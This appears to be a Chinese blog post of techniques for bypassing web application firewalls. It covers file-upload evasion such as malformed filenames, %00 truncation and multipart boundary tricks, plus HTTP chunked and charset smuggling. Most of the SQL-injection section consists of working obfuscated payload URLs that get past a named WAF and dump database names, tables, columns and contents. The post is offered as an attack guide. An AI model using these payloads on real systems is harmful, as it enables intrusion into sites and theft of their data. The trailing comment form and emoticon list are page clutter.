WAF绕过思路

常规WAF绕过方式

图片

快速判断文件上传漏洞是否客观存在

(PS:最基础的就是文件上传后,要有明确的返回地址,要不然就算是上传webshell成功了,也不知道去哪里访问连接。)

01.我们直接前端上传正常文件,burp截断数据包后,尝试修改content-type和任意后缀,来判断黑白名单(eg:1.abc,随机后缀传上去了一般就是黑名单限制)

02.随机后缀传不上去一般就是白名单,检查是否是前端JS限制,F12看一下,如果是前端限制,可以直接修改js。

03.非前端白名单限制的话,只能尝试服务器和中间件的解析漏洞了。

判断程序本身限制与WAF限制

01.程序本身黑名单限制:响应通常会有上传文件格式不允许的字样。

02.WAF限制:返回页面通常会是302跳转WAF的拦截页面或是该次请求被重置reset无响应包。

常规绕过WAF限制

遇见的常见的WAF,在上传阶段检测的字段通常是:

Content-Disposition: form-data; name="file"; filename="1.php"

针对后缀类绕过的方法:构造当前能识别的正常文件的畸形包(.png-tonxin),然后再改后缀,服务器能解析,但是让WAF不认识。

这些WAF都能在后缀落地的阶段绕过,各种WAF可能对后缀判断的具体的位置不同:

例如某WAF:filename参数去掉引号就可以正常上传,原因是waf未识别到双引号“”内的黑名单文件,但服务器可以忽略进行正常接收解析。

image-20220511142624005

绕过方式
"enter" 换行
filename==="1.jsp" 多等号
%00 文件名截断
1;.jsp 解析绕过
1'.jsp 解析绕过
... ...

有些WAF可能会阻止某些路径(upload)下访问脚本文件,可以使用白名单文件目录+脚本访问的方式。

基于HTTP协议的WAF绕过

HTTP隧道传输/ HTTP pipeline

通过使用 Connection: keep-alive 达到一次传输多个http包的效果;

图片

设置两个request的Connection: keep-alive,Content-Length分别对应数据长度,发现返回未被拦截的两个response:

图片

分块传输/ Chunked Transfer (HTTP 1.1)

通过在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。

目的:达到敏感参数分割效果

没有分块时,传入敏感参数,被waf拦截:

图片

使用chunked分块传输后,waf未拦截:

图片

ibm037编码/ Charset = xxx编码绕过

利用不常见的特殊编码,绕过waf检测

ibmxxx编码在以下服务或语言中可被解析识别
Nginx, uWSGl-Django-Python2 & 3
Apache-TOMCAT7/8- JVM1.6/1.8-JSP
Apache- PHP5 (mod_ php & FastCGI)
IIS (6, 7.5, 8, 10) on ASP Classic, ASP.NET and PHP7.1- FastCGI

图片

HTTP协议未覆盖

Content-type: multipart/form-date 为什么存在?是为了满足能够既传参数又能传文件的场景;

①利用 Content-type: multipart/form-date 绕过上传的边界(boundary)限制。

通过多boundary定义,使waf检测范围和实际上传范围不一致,从而绕过waf上传恶意内容:

图片

②上传参数“file”,绕过waf检测“filename”

Chunked+协议未覆盖

利用 Content-type: multipart/form-date + Chunked编码绕过WAF检测限制。

其他方式

高并发(大力出奇迹)

使用自动化工具短时间内发送大量攻击数据包。

缺点:动静太大,容易被业务察觉并封禁;

图片

垃圾数据

用多参数或者无效数据填充请求,超出WAF的检测限制范围,从而绕过防御;

图片

sql注入最新绕某狗

and绕过

http://192.168.111.16/index.php?id=1%20and%20/!500011/=/!500011/

http://192.168.111.16/index.php?id=1%20and%20/!500011/=/!500012/

http://192.168.111.16/index.php?id=if((1=2),1,1)

http://192.168.111.16/index.php?id=1%20and/%!%22//1=1%20--%20+

order by 绕过

/*%!*干扰

http://192.168.111.16/index.php?id=1/%2a%%2f/order/%2f%2f/by/%2f%2f/2

image-20220511141107991

image-20220511141246234

union select 绕过

image-20220511141313832

image-20220511141334445

image-20220511141352385

获取当前数据库和用户

image-20220511141445570

image-20220511141506600

image-20220511141531681

image-20220511141550913

数据库同理

http://192.168.111.16/index.php?id=-1/%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,database(/%2f%2f/)

获取数据库表

http://192.168.111.16/index.php?id=1/%2a%%2f/union/%2f%2f//!50441select//%2f%2f/1,group_concat(table_name)%20from%20information_schema.tables%20where%20/wad/table_schema=database(////)

不拦截

http://192.168.111.16/index.php?id=-1%20/%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,group_concat(table_name),3%20%20%0a%20%20from%20information_schema.tables%20where%20table_schema=database(////)

拦截

http://192.168.111.16/index.php?id=-1 REGEXP "[…%0a%23]" /%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,group_concat(table_name),3  %0a  from information_schema.tables where table_schema=database(////)

这里其实REGEXP "[…任意%23]"就行,在url解码%23变成了#,安全狗认为后面全都成为了注释符,带入到mysql层面其实%23只是正则的一个参数并不是注释符

QQ截图20220511141720

获取表字段

http://192.168.111.16/index.php?id=-1 REGEXP "[…%0a%23]" /%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,group_concat(column_name),3  %0a  from information_schema.columns where table_name="newss"

获取数据

http://192.168.111.16/index.php?id=-1 REGEXP "[…%0a%23]" /%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,content,3  %0a  from newss

image-20220511141834119

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇